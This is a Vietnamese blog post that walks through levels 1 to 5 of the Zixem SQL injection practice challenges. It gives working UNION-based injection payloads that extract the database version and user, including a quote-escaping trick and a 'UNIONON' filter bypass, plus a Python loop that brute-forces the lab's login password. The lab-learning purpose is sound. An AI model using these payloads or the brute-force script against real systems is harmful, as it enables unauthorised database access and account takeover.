Thử Sức Vượt Qua Zixem Level 1 Tới Level 5 - MTD SEC

JA1DbUr

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Sáu, 15 tháng 2, 2019

Thử Sức Vượt Qua Zixem Level 1 Tới Level 5


zixem là một công cụ giúp các bạn học và hiểu được các thức hoạt động của các cuộc tấn công sql injection. hôm nay mình sẽ viết bài hướng dẫn và chi tiết các thức vượt qua tất cả các level của trò chơi.





Quy tắc:





  • Chỉ dùng firefox không dùng các công cụ khác như sqlmap ...
  • chỉ tìm ra phiên bản và user của database




Level 1: Super Easy





1-AImNfx5NCPs87Pwdcwn48g




Đây là một mức căn bản nhất chúng ta có thể dùng lệnh sau





SELECT * FROM exploits WHERE ID=1




Với câu lệnh UNION , chúng ta có thể kết hợp đầu ra với dữ liệu khác mà chúng ta muốn. Trước tiên chúng ta cần xác định số lượng cột trong bảng.





SELECT * FROM exploits WHERE ID=1 UNION SELECT 1,2--




Và kết quả





1-2bCdVhOUZpoPu5mPApxG8g-1024x513




Như vậy chúng ta biết được số lượng cột của nó là có nhiều hơn. sau khi tăng số chúng ta được





1-rvBocgs4nm-nnDJX5jl5gA-1024x513




Vì lỗi không còn nữa, chúng tôi biết rằng có ba cột!





Tuy nhiên, dữ liệu không hiển thị trên trang Để giải quyết điều này, chúng ta chỉ cần vô hiệu hóa id đầu tiên:





SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT 1,2,3--




Bây giờ, chỉ có dữ liệu từ lựa chọn của chúng ta sẽ được trả về:









1-MKGtzHgl2kyQ570rxLTDAg-1024x483




ID và Giá được trả lại lần lượt là 21 , điều đó có nghĩa là đầu vào của chính chúng ta đang được trả lại.





Bây giờ chúng ta hãy thay đổi 21 thành
version() và user(), vì vậy tuyên bố cuối cùng của chúng tôi trông như sau:





SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT version(),user(),3--








1-aEqZ1jPc-kcBL3KSy46Zyg-1024x403




Như vậy chúng ta đã qua level 1





Level 2: Easy





1-FeGsKsVDkyKknkOwxfOzkg




Ở vòng này tôi vẫn thử như ở level 1 nhưng không có kết quả trả về





1-974vGIN7Fq_CpXRBFV3f9A-1024x442




Tôi đã thử thay đổi số lượng cột, nhưng điều đó vẫn không tiết lộ gì.





Chúng ta hãy xem xét lại câu lệnh





SELECT * FROM exploits WHERE ID=1




Có thể trang web này đang lấy ID dưới dạng một chuỗi , thay vì số nguyên. để khắc phục chúng ta thêm dấu '










SELECT * FROM exploits WHERE ID=1'




Và câu lệnh nó sẽ như thế này





SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--




1-QFAymeqrz2ePyrYusYS1rg-1024x442




Lỗi cho chúng tôi biết rằng có một lỗi liên quan đến dấu nháy đơn. Chúng ta có thể giải quyết điều này bằng cách thêm dấu nháy đơn vào cuối





SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--'




1-ZpKVNMcaKPv4D_UUMKENAw-1024x442




Bây giờ chúng tôi được thông báo rằng số lượng cột là sai. Bằng cách thêm một cột thứ tư vào lựa chọn, chúng ta được trả lại tên người dùng và phiên bản!









1-oOSeUthOI7IsPASOD8JJ4g-1024x442




Level 3: Normal





1-3T3Z7WqpQNvunk3ucWDd5w




Chúng ta thử bằng câu tấn công ở level trước





SELECT * FROM exploits WHERE ID=3' UNION SELECT user(),version(),3,4--'








1-Q2O12vkDTc636mmRqRw5jA-1024x483




Thông báo lỗi cho chúng tôi biết rằng câu lệnh đang được hiểu là user chọn uni (), version (), 3,4 - ' , nghĩa là sự kết hợp đang được lọc ra. Để chống lại điều này, chúng ta có thể thêm cái khác vào on, để ngay cả sau khi nó bị xóa, câu lệnh vẫn đọc union :





SELECT * FROM exploits WHERE ID=3 AND 1=2' UNIONON SELECT user(),version(),3,4--'








1-LjXYMm5eueHtGt_9gF1xBA-1024x420




Bằng cách như vậy chúng ta đã vượt qua level 3





Level 4: Normal









1-adYEGQWwEJB-yJOzHow2TQ




Tôi không chắc tại sao đây là một thử thách riêng biệt, vì giải pháp gần như tương tự với Cấp độ 2.





7 AND 1=2' UNION SELECT user(),version(),3 --'




Khoan nói với chúng tôi rằng số lượng cột được nhập là sai, vì vậy cố gắng thêm một vài lần cuối cùng đã cho tôi giải pháp làm việc:





7 AND 1=2' UNION SELECT user(),version(),3,4,5 --'








1-zHrjGaMzBaoVA1b26DueDw-1024x469




Vậy là chúng ta đã qua level 4





Level 5: Get your “bot-writing” skills





1-aZNbW-UKNNiyr3khMoPf6Q




Xem mã nguồn của trang cho thấy điều này:









1-YzT9cIKGu6mBe5mbNVRXIA




Vào đường link trên chúng ta được





1-uqGY_wA1TQDlbUg1QOEaGQ




bây giờ hãy thử mật khẩu zixemhf .









1-oH5bgURJdM7537QNXPEPjQ




Bây giờ chúng ta biết chính xác những gì chúng ta cần để bruteforce.





Vậy chúng ta cần viết một đoạn code bằng python để làm việc này





import requests as rq

for i in range(1300,99999):
req = rq.get("http://www.zixem.altervista.org/SQLi/login_do.php?pass="+str(i))
if "Wrong pass" in req.text:
print("Attempt #%d" % i)
else:
print("\n\nSuccess!\nPassword: %d" % i)
break




Kết quả tôi tìm ra mật khẩu là 1337





1-U8kruqXOwOnNw-KtArIyiw-1024x491





Không có nhận xét nào:

Đăng nhận xét

Post Top Ad